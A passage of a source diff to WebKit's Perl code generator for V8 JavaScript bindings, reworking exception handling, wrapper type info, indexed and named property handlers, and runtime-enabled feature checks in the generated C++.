+        return v8::Handle<v8::Value>();
+END
     }
 
+    my $raisesExceptions = @{$function->raisesExceptions};
+    if (!$raisesExceptions) {
+        foreach my $parameter (@{$function->parameters}) {
+            if (TypeCanFailConversion($parameter) or $parameter->extendedAttributes->{"IsIndex"}) {
+                $raisesExceptions = 1;
+            }
+        }
+    }
 
-    if (@{$function->raisesExceptions}) {
+    if ($raisesExceptions) {
         $implIncludes{"ExceptionCode.h"} = 1;
         push(@implContentDecls, "    ExceptionCode ec = 0;\n");
+        push(@implContentDecls, "    {\n");
+        # The brace here is needed to prevent the ensuing 'goto fail's from jumping past constructors
+        # of objects (like Strings) declared later, causing compile errors. The block scope ends
+        # right before the label 'fail:'.
     }
 
     if ($function->signature->extendedAttributes->{"CustomArgumentHandling"}) {
-        push(@implContentDecls, "    ScriptCallStack callStack(args, $numParameters);\n");
+        push(@implContentDecls, <<END);
+    OwnPtr<ScriptCallStack> callStack(ScriptCallStack::create(args, $numParameters));
+    if (!callStack)
+        return v8::Undefined();
+END
         $implIncludes{"ScriptCallStack.h"} = 1;
     }
     if ($function->signature->extendedAttributes->{"SVGCheckSecurityDocument"}) {
-        push(@implContentDecls,
-"    if (!V8Proxy::checkNodeSecurity(imp->getSVGDocument(ec)))\n" .
-"      return v8::Undefined();\n");
+        push(@implContentDecls, <<END);
+    if (!V8BindingSecurity::checkNodeSecurity(V8BindingState::Only(), imp->getSVGDocument(ec)))
+        return v8::Handle<v8::Value>();
+END
     }
 
     my $paramIndex = 0;
@@ -911,7 +1079,7 @@ END
             push(@implContentDecls, "    bool ${parameterName}Ok;\n");
         }
 
-        push(@implContentDecls, "    " . GetNativeTypeFromSignature($parameter, 1) . " $parameterName = ");
+        push(@implContentDecls, "    " . GetNativeTypeFromSignature($parameter, $paramIndex) . " $parameterName = ");
         push(@implContentDecls, JSValueToNative($parameter, "args[$paramIndex]",
            BasicTypeCanFailConversion($parameter) ?  "${parameterName}Ok" : undef) . ";\n");
 
@@ -919,8 +1087,8 @@ END
             $implIncludes{"ExceptionCode.h"} = 1;
             push(@implContentDecls,
 "    if (UNLIKELY(!$parameterName" . (BasicTypeCanFailConversion($parameter) ? "Ok" : "") . ")) {\n" .
-"      V8Proxy::setDOMException(TYPE_MISMATCH_ERR);\n" .
-"      return v8::Handle<v8::Value>();\n" .
+"        ec = TYPE_MISMATCH_ERR;\n" .
+"        goto fail;\n" .
 "    }\n");
         }
 
@@ -928,8 +1096,8 @@ END
             $implIncludes{"ExceptionCode.h"} = 1;
             push(@implContentDecls,
 "    if (UNLIKELY($parameterName < 0)) {\n" .
-"      V8Proxy::setDOMException(INDEX_SIZE_ERR);\n" .
-"      return v8::Handle<v8::Value>();\n" .
+"        ec = INDEX_SIZE_ERR;\n" .
+"        goto fail;\n" .
 "    }\n");
         }
 
@@ -939,7 +1107,15 @@ END
     # Build the function call string.
     my $callString = GenerateFunctionCallString($function, $paramIndex, "    ", $implClassName);
     push(@implContentDecls, "$callString");
-    push(@implContentDecls, "  }\n\n");
+
+    if ($raisesExceptions) {
+        push(@implContentDecls, "    }\n");
+        push(@implContentDecls, "    fail:\n");
+        push(@implContentDecls, "    V8Proxy::setDOMException(ec);\n");
+        push(@implContentDecls, "    return v8::Handle<v8::Value>();\n");
+    }
+
+    push(@implContentDecls, "}\n\n");
 }
 
 sub GenerateBatchedAttributeData
@@ -991,7 +1167,7 @@ sub GenerateSingleBatchedAttribute
         "";
     if ($customAccessor eq 1) {
         # use the naming convension, interface + (capitalize) attr name
-        $customAccessor = $interfaceName . $codeGenerator->WK_ucfirst($attrName);
+        $customAccessor = $interfaceName . "::" . $attrName;
     }
 
     my $getter;
@@ -1008,17 +1184,17 @@ sub GenerateSingleBatchedAttribute
     }
 
     my $on_proto = "0 /* on instance */";
-    my $data = "V8ClassIndex::INVALID_CLASS_INDEX /* no data */";
+    my $data = "0 /* no data */";
 
     # Constructor
     if ($attribute->signature->type =~ /Constructor$/) {
         my $constructorType = $codeGenerator->StripModule($attribute->signature->type);
         $constructorType =~ s/Constructor$//;
-        my $constructorIndex = uc($constructorType);
+        $implIncludes{"V8${constructorType}.h"} = 1;
         if ($customAccessor) {
-            $getter = "V8Custom::v8${customAccessor}AccessorGetter";
+            $getter = "V8${customAccessor}AccessorGetter";
         } else {
-            $data = "V8ClassIndex::${constructorIndex}";
+            $data = "&V8${constructorType}::info";
             $getter = "${interfaceName}Internal::${interfaceName}ConstructorGetter";
         }
         $setter = "0";
@@ -1032,12 +1208,12 @@ sub GenerateSingleBatchedAttribute
         # Custom Setter
         if ($attrExt->{"CustomSetter"} || $attrExt->{"V8CustomSetter"} || $attrExt->{"Custom"} || $attrExt->{"V8Custom"}) {
             $hasCustomSetter = 1;
-            $setter = "V8Custom::v8${customAccessor}AccessorSetter";
+            $setter = "V8${customAccessor}AccessorSetter";
         }
 
         # Custom Getter
-        if ($attrExt->{"CustomGetter"} || $attrExt->{"Custom"} || $attrExt->{"V8Custom"}) {
-            $getter = "V8Custom::v8${customAccessor}AccessorGetter";
+        if ($attrExt->{"CustomGetter"} || $attrExt->{"V8CustomGetter"} || $attrExt->{"Custom"} || $attrExt->{"V8Custom"}) {
+            $getter = "V8${customAccessor}AccessorGetter";
         }
     }
 
@@ -1078,14 +1254,184 @@ sub GenerateSingleBatchedAttribute
 END
 }
 
+sub GenerateImplementationIndexer
+{
+    my $dataNode = shift;
+    my $indexer = shift;
+    my $interfaceName = $dataNode->name;
+
+    # FIXME: Figure out what HasNumericIndexGetter is really supposed to do. Right now, it's only set on WebGL-related files.
+    my $hasCustomSetter = $dataNode->extendedAttributes->{"HasCustomIndexSetter"} && !$dataNode->extendedAttributes->{"HasNumericIndexGetter"};
+    my $hasGetter = $dataNode->extendedAttributes->{"HasIndexGetter"} || $dataNode->extendedAttributes->{"CustomGetOwnPropertySlot"};
+
+    # FIXME: Find a way to not have to special-case HTMLOptionsCollection.
+    if ($interfaceName eq "HTMLOptionsCollection") {
+        $hasGetter = 1;
+    }
+    # FIXME: If the parent interface of $dataNode already has
+    # HasIndexGetter, we don't need to handle the getter here.
+    if ($interfaceName eq "WebKitCSSTransformValue") {
+        $hasGetter = 0;
+    }
+
+    # FIXME: Investigate and remove this nastinesss. In V8, named property handling and indexer handling are apparently decoupled,
+    # which means that object[X] where X is a number doesn't reach named property indexer. So we need to provide
+    # simplistic, mirrored indexer handling in addition to named property handling.
+    my $isSpecialCase = exists $indexerSpecialCases{$interfaceName};
+    if ($isSpecialCase) {
+        $hasGetter = 1;
+        if ($dataNode->extendedAttributes->{"DelegatingPutFunction"}) {
+            $hasCustomSetter = 1;
+        }
+    }
+
+    if (!$hasGetter) {
+        return;
+    }
+
+    $implIncludes{"V8Collection.h"} = 1;
+
+    my $indexerType = $indexer ? $indexer->type : 0;
+
+    # FIXME: Remove this once toV8 helper methods are implemented (see https://bugs.webkit.org/show_bug.cgi?id=32563).
+    if ($interfaceName eq "WebKitCSSKeyframesRule") {
+        $indexerType = "WebKitCSSKeyframeRule";
+    }
+
+    if ($indexerType && !$hasCustomSetter) {
+        if ($indexerType eq "DOMString") {
+            my $conversion = $indexer->extendedAttributes->{"ConvertNullStringTo"};
+            if ($conversion && $conversion eq "Null") {
+                push(@implContent, <<END);
+    setCollectionStringOrNullIndexedGetter<${interfaceName}>(desc);
+END
+            } else {
+                push(@implContent, <<END);
+    setCollectionStringIndexedGetter<${interfaceName}>(desc);
+END
+            }
+        } else {
+            push(@implContent, <<END);
+    setCollectionIndexedGetter<${interfaceName}, ${indexerType}>(desc);
+END
+            # Include the header for this indexer type, because setCollectionIndexedGetter() requires toV8() for this type.
+            $implIncludes{"V8${indexerType}.h"} = 1;
+        }
+
+        return;
+    }
+
+    my $hasDeleter = $dataNode->extendedAttributes->{"CustomDeleteProperty"};
+    my $hasEnumerator = !$isSpecialCase && IsNodeSubType($dataNode);
+    my $setOn = "Instance";
+
+    # V8 has access-check callback API (see ObjectTemplate::SetAccessCheckCallbacks) and it's used on DOMWindow
+    # instead of deleters or enumerators. In addition, the getter should be set on prototype template, to
+    # get implementation straight out of the DOMWindow prototype regardless of what prototype is actually set
+    # on the object.
+    if ($interfaceName eq "DOMWindow") {
+        $setOn = "Prototype";
+        $hasDeleter = 0;
+    }
+
+    push(@implContent, "    desc->${setOn}Template()->SetIndexedPropertyHandler(V8${interfaceName}::indexedPropertyGetter");
+    push(@implContent, $hasCustomSetter ? ", V8${interfaceName}::indexedPropertySetter" : ", 0");
+    push(@implContent, ", 0"); # IndexedPropertyQuery -- not being used at the moment.
+    push(@implContent, $hasDeleter ? ", V8${interfaceName}::indexedPropertyDeleter" : ", 0");
+    push(@implContent, ", nodeCollectionIndexedPropertyEnumerator<${interfaceName}>") if $hasEnumerator;
+    push(@implContent, ");\n");
+}
+
+sub GenerateImplementationNamedPropertyGetter
+{
+    my $dataNode = shift;
+    my $namedPropertyGetter = shift;
+    my $interfaceName = $dataNode->name;
+    my $hasCustomGetter = $dataNode->extendedAttributes->{"HasOverridingNameGetter"} || $dataNode->extendedAttributes->{"CustomGetOwnPropertySlot"};
+
+    # FIXME: Remove hard-coded HTMLOptionsCollection reference by changing HTMLOptionsCollection to not inherit
+    # from HTMLCollection per W3C spec (http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html#HTMLOptionsCollection).
+    if ($interfaceName eq "HTMLOptionsCollection") {
+        $interfaceName = "HTMLCollection";
+        $hasCustomGetter = 1;
+    }
+
+    if ($interfaceName eq "HTMLAppletElement" || $interfaceName eq "HTMLEmbedElement" || $interfaceName eq "HTMLObjectElement") {
+        $hasCustomGetter = 1;
+    }
+
+    my $hasGetter = $dataNode->extendedAttributes->{"HasNameGetter"} || $hasCustomGetter || $namedPropertyGetter;
+    if (!$hasGetter) {
+        return;
+    }
+
+    if ($namedPropertyGetter && $namedPropertyGetter->type ne "Node" && !$namedPropertyGetter->extendedAttributes->{"Custom"} && !$hasCustomGetter) {
+        $implIncludes{"V8Collection.h"} = 1;
+        my $type = $namedPropertyGetter->type;
+        push(@implContent, <<END);
+    setCollectionNamedGetter<${interfaceName}, ${type}>(desc);
+END
+        return;
+    }
+
+    my $hasSetter = $dataNode->extendedAttributes->{"DelegatingPutFunction"};
+    # FIXME: Try to remove hard-coded HTMLDocument reference by aligning handling of document.all with JSC bindings.
+    my $hasDeleter = $dataNode->extendedAttributes->{"CustomDeleteProperty"} || $interfaceName eq "HTMLDocument";
+    my $hasEnumerator = $dataNode->extendedAttributes->{"CustomGetPropertyNames"};
+    my $setOn = "Instance";
+
+    # V8 has access-check callback API (see ObjectTemplate::SetAccessCheckCallbacks) and it's used on DOMWindow
+    # instead of deleters or enumerators. In addition, the getter should be set on prototype template, to
+    # get implementation straight out of the DOMWindow prototype regardless of what prototype is actually set
+    # on the object.
+    if ($interfaceName eq "DOMWindow") {
+        $setOn = "Prototype";
+        $hasDeleter = 0;
+        $hasEnumerator = 0;
+    }
+
+    push(@implContent, "    desc->${setOn}Template()->SetNamedPropertyHandler(V8${interfaceName}::namedPropertyGetter, ");
+    push(@implContent, $hasSetter ? "V8${interfaceName}::namedPropertySetter, " : "0, ");
+    push(@implContent, "0, "); # NamedPropertyQuery -- not being used at the moment.
+    push(@implContent, $hasDeleter ? "V8${interfaceName}::namedPropertyDeleter, " : "0, ");
+    push(@implContent, $hasEnumerator ? "V8${interfaceName}::namedPropertyEnumerator" : "0");
+    push(@implContent, ");\n");
+}
+
+sub GenerateImplementationCustomCall
+{
+    my $dataNode = shift;
+    my $interfaceName = $dataNode->name;
+    my $hasCustomCall = $dataNode->extendedAttributes->{"CustomCall"};
+
+    # FIXME: Remove hard-coded HTMLOptionsCollection reference.
+    if ($interfaceName eq "HTMLOptionsCollection") {
+        $interfaceName = "HTMLCollection";
+        $hasCustomCall = 1;
+    }
+
+    if ($hasCustomCall) {
+        push(@implContent, "    desc->InstanceTemplate()->SetCallAsFunctionHandler(V8${interfaceName}::callAsFunctionCallback);\n");
+    }
+}
+
+sub GenerateImplementationMasqueradesAsUndefined
+{
+    my $dataNode = shift;
+    if ($dataNode->extendedAttributes->{"MasqueradesAsUndefined"})
+    {
+        push(@implContent, "    desc->InstanceTemplate()->MarkAsUndetectable();\n");
+    }
+}
+
 sub GenerateImplementation
 {
     my $object = shift;
     my $dataNode = shift;
     my $interfaceName = $dataNode->name;
+    my $visibleInterfaceName = GetVisibleInterfaceName($interfaceName);
     my $className = "V8$interfaceName";
     my $implClassName = $interfaceName;
-    my $classIndex = uc($codeGenerator->StripModule($interfaceName));
 
     my $hasLegacyParent = $dataNode->extendedAttributes->{"LegacyParent"};
     my $conditionalString = GenerateConditionalString($dataNode);
@@ -1095,8 +1441,12 @@ sub GenerateImplementation
 
     push(@implFixedHeader,
          "#include \"config.h\"\n" .
+         "#include \"RuntimeEnabledFeatures.h\"\n" .
          "#include \"V8Proxy.h\"\n" .
-         "#include \"V8Binding.h\"\n\n" .
+         "#include \"V8Binding.h\"\n" .
+         "#include \"V8BindingState.h\"\n" .
+         "#include \"V8DOMWrapper.h\"\n" .
+         "#include \"V8IsolatedContext.h\"\n\n" .
          "#undef LOG\n\n");
 
     push(@implFixedHeader, "\n#if ${conditionalString}\n\n") if $conditionalString;
@@ -1108,14 +1458,15 @@ sub GenerateImplementation
     $implIncludes{"${className}.h"} = 1;
 
     AddIncludesForType($interfaceName);
-    $implIncludes{"V8Proxy.h"} = 1;
 
-    push(@implContentDecls, "namespace WebCore {\n");
+    my $toActive = IsActiveDomType($interfaceName) ? "${className}::toActiveDOMObject" : "0";
+
+    push(@implContentDecls, "namespace WebCore {\n\n");
+    push(@implContentDecls, "WrapperTypeInfo ${className}::info = { ${className}::GetTemplate, ${className}::derefObject, ${toActive} };\n\n");   
     push(@implContentDecls, "namespace ${interfaceName}Internal {\n\n");
     push(@implContentDecls, "template <typename T> void V8_USE(T) { }\n\n");
 
     my $hasConstructors = 0;
-
     # Generate property accessors for attributes.
     for ($index = 0; $index < @{$dataNode->attributes}; $index++) {
         $attribute = @{$dataNode->attributes}[$index];
@@ -1124,9 +1475,8 @@ sub GenerateImplementation
 
         # Generate special code for the constructor attributes.
         if ($attrType =~ /Constructor$/) {
-            if ($attribute->signature->extendedAttributes->{"CustomGetter"}) {
-                $implIncludes{"V8CustomBinding.h"} = 1;
-            } else {
+            if (!($attribute->signature->extendedAttributes->{"CustomGetter"} ||
+                $attribute->signature->extendedAttributes->{"V8CustomGetter"})) {
                 $hasConstructors = 1;
             }
             next;
@@ -1141,46 +1491,48 @@ sub GenerateImplementation
         # implementation.
         if ($attribute->signature->extendedAttributes->{"Custom"} ||
             $attribute->signature->extendedAttributes->{"V8Custom"}) {
-            $implIncludes{"V8CustomBinding.h"} = 1;
             next;
         }
 
         # Generate the accessor.
-        if ($attribute->signature->extendedAttributes->{"CustomGetter"}) {
-            $implIncludes{"V8CustomBinding.h"} = 1;
-        } else {
-            GenerateNormalAttrGetter($attribute, $dataNode, $classIndex, $implClassName, $interfaceName);
+        if (!($attribute->signature->extendedAttributes->{"CustomGetter"} ||
+            $attribute->signature->extendedAttributes->{"V8CustomGetter"})) {
+            GenerateNormalAttrGetter($attribute, $dataNode, $implClassName, $interfaceName);
         }
-        if ($attribute->signature->extendedAttributes->{"CustomSetter"} ||
-            $attribute->signature->extendedAttributes->{"V8CustomSetter"}) {
-            $implIncludes{"V8CustomBinding.h"} = 1;
-        } elsif ($attribute->signature->extendedAttributes->{"Replaceable"}) {
-            $dataNode->extendedAttributes->{"ExtendsDOMGlobalObject"} || die "Replaceable attribute can only be used in interface that defines ExtendsDOMGlobalObject attribute!";
-            # GenerateReplaceableAttrSetter($implClassName);
-        } elsif ($attribute->type !~ /^readonly/ && !$attribute->signature->extendedAttributes->{"V8ReadOnly"}) {
-            GenerateNormalAttrSetter($attribute, $dataNode, $classIndex, $implClassName, $interfaceName);
+        if (!$attribute->signature->extendedAttributes->{"CustomSetter"} &&
+            !$attribute->signature->extendedAttributes->{"V8CustomSetter"} &&
+            !$attribute->signature->extendedAttributes->{"Replaceable"} &&
+            $attribute->type !~ /^readonly/ &&
+            !$attribute->signature->extendedAttributes->{"V8ReadOnly"}) {
+            GenerateNormalAttrSetter($attribute, $dataNode, $implClassName, $interfaceName);
         }
     }
 
     if ($hasConstructors) {
-        GenerateConstructorGetter($implClassName, $classIndex);
+        GenerateConstructorGetter($implClassName);
     }
 
+    my $indexer;
+    my $namedPropertyGetter;
     # Generate methods for functions.
     foreach my $function (@{$dataNode->functions}) {
-        # hack for addEventListener/RemoveEventListener
-        # FIXME: avoid naming conflict
-        if ($function->signature->extendedAttributes->{"Custom"} || $function->signature->extendedAttributes->{"V8Custom"}) {
-                $implIncludes{"V8CustomBinding.h"} = 1;
-        } else {
-            GenerateFunctionCallback($function, $dataNode, $classIndex, $implClassName);
+        if (!($function->signature->extendedAttributes->{"Custom"} || $function->signature->extendedAttributes->{"V8Custom"})) {
+            GenerateFunctionCallback($function, $dataNode, $implClassName);
+        }
+
+        if ($function->signature->name eq "item") {
+            $indexer = $function->signature;
+        }
+
+        if ($function->signature->name eq "namedItem") {
+            $namedPropertyGetter = $function->signature;
         }
 
         # If the function does not need domain security check, we need to
         # generate an access getter that returns different function objects
         # for different calling context.
         if (($dataNode->extendedAttributes->{"CheckDomainSecurity"} || ($interfaceName eq "DOMWindow")) && $function->signature->extendedAttributes->{"DoNotCheckDomainSecurity"}) {
-            GenerateDomainSafeFunctionGetter($function, $dataNode, $classIndex, $implClassName);
+            GenerateDomainSafeFunctionGetter($function, $implClassName);
         }
     }
 
@@ -1194,6 +1546,7 @@ sub GenerateImplementation
     my @enabledAtRuntime;
     my @normal;
     foreach my $attribute (@$attributes) {
+
         if ($interfaceName eq "DOMWindow" && $attribute->signature->extendedAttributes->{"V8DisallowShadowing"}) {
             push(@disallowsShadowing, $attribute);
         } elsif ($attribute->signature->extendedAttributes->{"EnabledAtRuntime"}) {
@@ -1218,6 +1571,38 @@ sub GenerateImplementation
         push(@implContent, "};\n");
     }
 
+    # Setup table of standard callback functions
+    $num_callbacks = 0;
+    $has_callbacks = 0;
+    foreach my $function (@{$dataNode->functions}) {
+        my $attrExt = $function->signature->extendedAttributes;
+        # Don't put any nonstandard functions into this table:
+        if ($attrExt->{"V8OnInstance"}) {
+            next;
+        }
+        if ($attrExt->{"EnabledAtRuntime"} || RequiresCustomSignature($function) || $attrExt->{"V8DoNotCheckSignature"}) {
+            next;
+        }
+        if ($attrExt->{"DoNotCheckDomainSecurity"} &&
+            ($dataNode->extendedAttributes->{"CheckDomainSecurity"} || $interfaceName eq "DOMWindow")) {
+            next;
+        }
+        if ($attrExt->{"DontEnum"} || $attrExt->{"V8ReadOnly"}) {
+            next;
+        }
+        if (!$has_callbacks) {
+            $has_callbacks = 1;
+            push(@implContent, "static const BatchedCallback ${interfaceName}_callbacks[] = {\n");
+        }
+        my $name = $function->signature->name;
+        my $callback = GetFunctionTemplateCallbackName($function, $interfaceName);
+        push(@implContent, <<END);
+  {"$name", $callback},
+END
+        $num_callbacks++;
+    }
+    push(@implContent, "};\n")  if $has_callbacks;
+
     # Setup constants
     my $has_constants = 0;
     if (@{$dataNode->constants}) {
@@ -1240,60 +1625,100 @@ END
 
     push(@implContentDecls, "} // namespace ${interfaceName}Internal\n\n");
 
-    my $access_check = "/* no access check */";
+    # In namespace WebCore, add generated implementation for 'CanBeConstructed'.
+    if ($dataNode->extendedAttributes->{"CanBeConstructed"} && !$dataNode->extendedAttributes->{"CustomConstructor"}) {
+        push(@implContent, <<END);
+v8::Handle<v8::Value> ${className}::constructorCallback(const v8::Arguments& args)
+{
+    INC_STATS("DOM.${interfaceName}.Contructor");
+    return V8Proxy::constructDOMObject<$interfaceName>(args, &info);
+}
+END
+   }
+
+    my $access_check = "";
     if ($dataNode->extendedAttributes->{"CheckDomainSecurity"} && !($interfaceName eq "DOMWindow")) {
-        $access_check = "instance->SetAccessCheckCallbacks(V8Custom::v8${interfaceName}NamedSecurityCheck, V8Custom::v8${interfaceName}IndexedSecurityCheck, v8::Integer::New(V8ClassIndex::ToInt(V8ClassIndex::${classIndex})));";
+        $access_check = "instance->SetAccessCheckCallbacks(V8${interfaceName}::namedSecurityCheck, V8${interfaceName}::indexedSecurityCheck, v8::External::Wrap(&V8${interfaceName}::info));";
     }
 
     # For the DOMWindow interface, generate the shadow object template
     # configuration method.
     if ($implClassName eq "DOMWindow") {
         push(@implContent, <<END);
-static v8::Persistent<v8::ObjectTemplate> ConfigureShadowObjectTemplate(v8::Persistent<v8::ObjectTemplate> templ) {
-  batchConfigureAttributes(templ,
-                           v8::Handle<v8::ObjectTemplate>(),
-                           shadow_attrs,
-                           sizeof(shadow_attrs)/sizeof(*shadow_attrs));
-  return templ;
+static v8::Persistent<v8::ObjectTemplate> ConfigureShadowObjectTemplate(v8::Persistent<v8::ObjectTemplate> templ)
+{
+    batchConfigureAttributes(templ, v8::Handle<v8::ObjectTemplate>(), shadow_attrs, sizeof(shadow_attrs)/sizeof(*shadow_attrs));
+
+    // Install a security handler with V8.
+    templ->SetAccessCheckCallbacks(V8DOMWindow::namedSecurityCheck, V8DOMWindow::indexedSecurityCheck, v8::External::Wrap(&V8DOMWindow::info));
+    templ->SetInternalFieldCount(V8DOMWindow::internalFieldCount);
+    return templ;
 }
 END
     }
 
+    # find the super descriptor
+    my $parentClassTemplate = "";
+    foreach (@{$dataNode->parents}) {
+        my $parent = $codeGenerator->StripModule($_);
+        if ($parent eq "EventTarget") { next; }
+        $implIncludes{"V8${parent}.h"} = 1;
+        $parentClassTemplate = "V8" . $parent . "::GetTemplate()";
+        last;
+    }
+    if (!$parentClassTemplate) {
+        $parentClassTemplate = "v8::Persistent<v8::FunctionTemplate>()";
+    }
+
     # Generate the template configuration method
     push(@implContent,  <<END);
-static v8::Persistent<v8::FunctionTemplate> Configure${className}Template(v8::Persistent<v8::FunctionTemplate> desc) {
-  v8::Local<v8::ObjectTemplate> instance = desc->InstanceTemplate();
+static v8::Persistent<v8::FunctionTemplate> Configure${className}Template(v8::Persistent<v8::FunctionTemplate> desc)
+{
+    v8::Local<v8::Signature> default_signature = configureTemplate(desc, \"${visibleInterfaceName}\", $parentClassTemplate, V8${interfaceName}::internalFieldCount,
 END
-    if (IsNodeSubType($dataNode)) {
+    # Set up our attributes if we have them
+    if ($has_attributes) {
         push(@implContent, <<END);
-  instance->SetInternalFieldCount(V8Custom::kNodeMinimumInternalFieldCount);
+        ${interfaceName}_attrs, sizeof(${interfaceName}_attrs)/sizeof(*${interfaceName}_attrs),
 END
     } else {
         push(@implContent, <<END);
-  instance->SetInternalFieldCount(V8Custom::kDefaultWrapperInternalFieldCount);
+        NULL, 0,
 END
     }
 
-    push(@implContent,  <<END);
-  v8::Local<v8::Signature> default_signature = v8::Signature::New(desc);
-  v8::Local<v8::ObjectTemplate> proto = desc->PrototypeTemplate();
-  $access_check
+    if ($has_callbacks) {
+        push(@implContent, <<END);
+        ${interfaceName}_callbacks, sizeof(${interfaceName}_callbacks)/sizeof(*${interfaceName}_callbacks));
 END
+    } else {
+        push(@implContent, <<END);
+        NULL, 0);
+END
+    }
 
-
-    # Set up our attributes if we have them
-    if ($has_attributes) {
+    if ($dataNode->extendedAttributes->{"CustomConstructor"} || $dataNode->extendedAttributes->{"CanBeConstructed"}) {
         push(@implContent, <<END);
-  batchConfigureAttributes(instance, proto, ${interfaceName}_attrs, sizeof(${interfaceName}_attrs)/sizeof(*${interfaceName}_attrs));
+        desc->SetCallHandler(V8${interfaceName}::constructorCallback);
 END
     }
 
+    if ($access_check or @enabledAtRuntime or @{$dataNode->functions} or $has_constants) {
+        push(@implContent,  <<END);
+    v8::Local<v8::ObjectTemplate> instance = desc->InstanceTemplate();
+    v8::Local<v8::ObjectTemplate> proto = desc->PrototypeTemplate();
+END
+    }
+
+    push(@implContent,  "    $access_check\n");
+
     # Setup the enable-at-runtime attrs if we have them
     foreach my $runtime_attr (@enabledAtRuntime) {
-        $enable_function = $interfaceName . $codeGenerator->WK_ucfirst($runtime_attr->signature->name);
+        # A function named RuntimeEnabledFeatures::{methodName}Enabled() need to be written by hand.
+        $enable_function = "RuntimeEnabledFeatures::" . $codeGenerator->WK_lcfirst($runtime_attr->signature->name) . "Enabled";
         my $conditionalString = GenerateConditionalString($runtime_attr->signature);
         push(@implContent, "\n#if ${conditionalString}\n") if $conditionalString;
-        push(@implContent, "    if (V8Custom::v8${enable_function}Enabled()) {\n");
+        push(@implContent, "    if (${enable_function}()) {\n");
         push(@implContent, "        static const BatchedAttribute attrData =\\\n");
         GenerateSingleBatchedAttribute($interfaceName, $runtime_attr, ";", "    ");
         push(@implContent, <<END);
@@ -1303,8 +1728,15 @@ END
         push(@implContent, "\n#endif // ${conditionalString}\n") if $conditionalString;
     }
 
+    GenerateImplementationIndexer($dataNode, $indexer);
+    GenerateImplementationNamedPropertyGetter($dataNode, $namedPropertyGetter);
+    GenerateImplementationCustomCall($dataNode);
+    GenerateImplementationMasqueradesAsUndefined($dataNode);
+
     # Define our functions with Set() or SetAccessor()
+    $total_functions = 0;
     foreach my $function (@{$dataNode->functions}) {
+        $total_functions++;
         my $attrExt = $function->signature->extendedAttributes;
         my $name = $function->signature->name;
 
@@ -1326,8 +1758,8 @@ END
         my $conditional = "";
         if ($attrExt->{"EnabledAtRuntime"}) {
             # Only call Set()/SetAccessor() if this method should be enabled
-            $enable_function = $interfaceName . $codeGenerator->WK_ucfirst($function->signature->name);
-            $conditional = "if (V8Custom::v8${enable_function}Enabled())\n";
+            $enable_function = "RuntimeEnabledFeatures::" . $codeGenerator->WK_lcfirst($function->signature->name) . "Enabled";
+            $conditional = "if (${enable_function}())\n        ";
         }
 
         if ($attrExt->{"DoNotCheckDomainSecurity"} &&
@@ -1349,108 +1781,333 @@ END
             $property_attributes .= "|v8::ReadOnly";
             push(@implContent, <<END);
 
-  // $commentInfo
-  $conditional $template->SetAccessor(
-      v8::String::New("$name"),
-      ${interfaceName}Internal::${name}AttrGetter,
-      0,
-      v8::Handle<v8::Value>(),
-      v8::ALL_CAN_READ,
-      static_cast<v8::PropertyAttribute>($property_attributes));
+    // $commentInfo
+    ${conditional}$template->SetAccessor(v8::String::New("$name"), ${interfaceName}Internal::${name}AttrGetter, 0, v8::Handle<v8::Value>(), v8::ALL_CAN_READ, static_cast<v8::PropertyAttribute>($property_attributes));
 END
+          $num_callbacks++;
           next;
       }
 
       my $signature = "default_signature";
-      if ($attrExt->{"V8DoNotCheckSignature"}){
+      if ($attrExt->{"V8DoNotCheckSignature"}) {
           $signature = "v8::Local<v8::Signature>()";
       }
 
       if (RequiresCustomSignature($function)) {
           $signature = "${name}_signature";
-          push(@implContent, "\n  // Custom Signature '$name'\n", CreateCustomSignature($function));
+          push(@implContent, "\n    // Custom Signature '$name'\n", CreateCustomSignature($function));
       }
 
       # Normal function call is a template
-      my $templateFunction = GenerateNewFunctionTemplate($function, $dataNode, $signature);
+      my $callback = GetFunctionTemplateCallbackName($function, $interfaceName);
 
+      if ($property_attributes eq "v8::DontDelete") {
+          $property_attributes = "";
+      } else {
+          $property_attributes = ", static_cast<v8::PropertyAttribute>($property_attributes)";
+      }
 
-      push(@implContent, <<END);
+      if ($template eq "proto" && $conditional eq "" && $signature eq "default_signature" && $property_attributes eq "") {
+          # Standard type of callback, already created in the batch, so skip it here.
+          next;
+      }
 
-  // $commentInfo
-  $conditional ${template}->Set(
-      v8::String::New("$name"),
-      $templateFunction,
-      static_cast<v8::PropertyAttribute>($property_attributes));
+      push(@implContent, <<END);
+    ${conditional}$template->Set(v8::String::New("$name"), v8::FunctionTemplate::New($callback, v8::Handle<v8::Value>(), ${signature})$property_attributes);
 END
+      $num_callbacks++;
     }
 
-    # set the super descriptor
-    foreach (@{$dataNode->parents}) {
-        my $parent = $codeGenerator->StripModule($_);
-        if ($parent eq "EventTarget") { next; }
-        $implIncludes{"V8${parent}.h"} = 1;
-        my $parentClassIndex = uc($codeGenerator->StripModule($parent));
-        push(@implContent, "  desc->Inherit(V8DOMWrapper::getTemplate(V8ClassIndex::${parentClassIndex}));\n");
-        last;
+    die "Wrong number of callbacks generated for $interfaceName ($num_callbacks, should be $total_functions)" if $num_callbacks != $total_functions;
+
+    if ($has_constants) {
+        push(@implContent, <<END);
+    batchConfigureConstants(desc, proto, ${interfaceName}_consts, sizeof(${interfaceName}_consts)/sizeof(*${interfaceName}_consts));
+END
     }
 
-    # Set the class name.  This is used when printing objects.
-    push(@implContent, "  desc->SetClassName(v8::String::New(\"${interfaceName}\"));\n");
+    # Special cases
+    if ($interfaceName eq "DOMWindow") {
+        push(@implContent, <<END);
 
-    if ($has_constants) {
+    proto->SetInternalFieldCount(V8DOMWindow::internalFieldCount);
+    desc->SetHiddenPrototype(true);
+    instance->SetInternalFieldCount(V8DOMWindow::internalFieldCount);
+    // Set access check callbacks, but turned off initially.
+    // When a context is detached from a frame, turn on the access check.
+    // Turning on checks also invalidates inline caches of the object.
+    instance->SetAccessCheckCallbacks(V8DOMWindow::namedSecurityCheck, V8DOMWindow::indexedSecurityCheck, v8::External::Wrap(&V8DOMWindow::info), false);
+END
+    }
+    if ($interfaceName eq "Location") {
         push(@implContent, <<END);
-  batchConfigureConstants(desc, proto, ${interfaceName}_consts, sizeof(${interfaceName}_consts)/sizeof(*${interfaceName}_consts));
+
+    // For security reasons, these functions are on the instance instead
+    // of on the prototype object to ensure that they cannot be overwritten.
+    instance->SetAccessor(v8::String::New("reload"), V8Location::reloadAccessorGetter, 0, v8::Handle<v8::Value>(), v8::ALL_CAN_READ, static_cast<v8::PropertyAttribute>(v8::DontDelete | v8::ReadOnly));
